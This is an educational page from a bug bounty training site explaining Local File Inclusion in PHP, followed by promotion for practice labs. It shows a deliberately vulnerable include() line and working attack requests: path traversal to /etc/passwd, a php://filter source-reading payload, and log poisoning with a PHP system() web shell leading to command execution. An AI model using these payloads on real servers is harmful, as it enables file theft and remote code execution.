LFI

High

Local File Inclusion

Definition

Local File Inclusion (LFI) is a vulnerability that lets an attacker include local server files by tampering with input parameters. Unlike Path Traversal, which only reads files, LFI can execute code if the included file contains code in the server's language (PHP, JSP, etc.).

Impact

Reading sensitive server filesArbitrary code execution (LFI to RCE via log poisoning)Access to the application's source codeReading environment variables and secretsChaining with other vulnerabilities for privilege escalation

Examples

Basic LFI in PHP

The PHP code includes a file based on a user parameter. Using PHP wrappers such as php://filter, the attacker can read the source code of any PHP file on the server, Base64-encoded.

# Vulnerable code
<?php include($_GET['page'] . '.php'); ?>

# Legitimate request
GET /index.php?page=about

# LFI attack
GET /index.php?page=../../../etc/passwd%00
GET /index.php?page=php://filter/convert.base64-encode/resource=config

LFI to RCE via Log Poisoning

The attacker first injects PHP code into the web server's logs. They then use LFI to include the log file, executing the injected PHP code with the ability to run system commands.

# 1. Poison Apache's access logs
GET /<?php system($_GET['cmd']); ?> HTTP/1.1
Host: victim.com

# 2. Include the poisoned log via LFI
GET /index.php?page=../../../var/log/apache2/access.log&cmd=id

External references

Practice LFI with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
2,482

hunters training

62

labs from real hacks

1,630

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy
Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real hacks that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime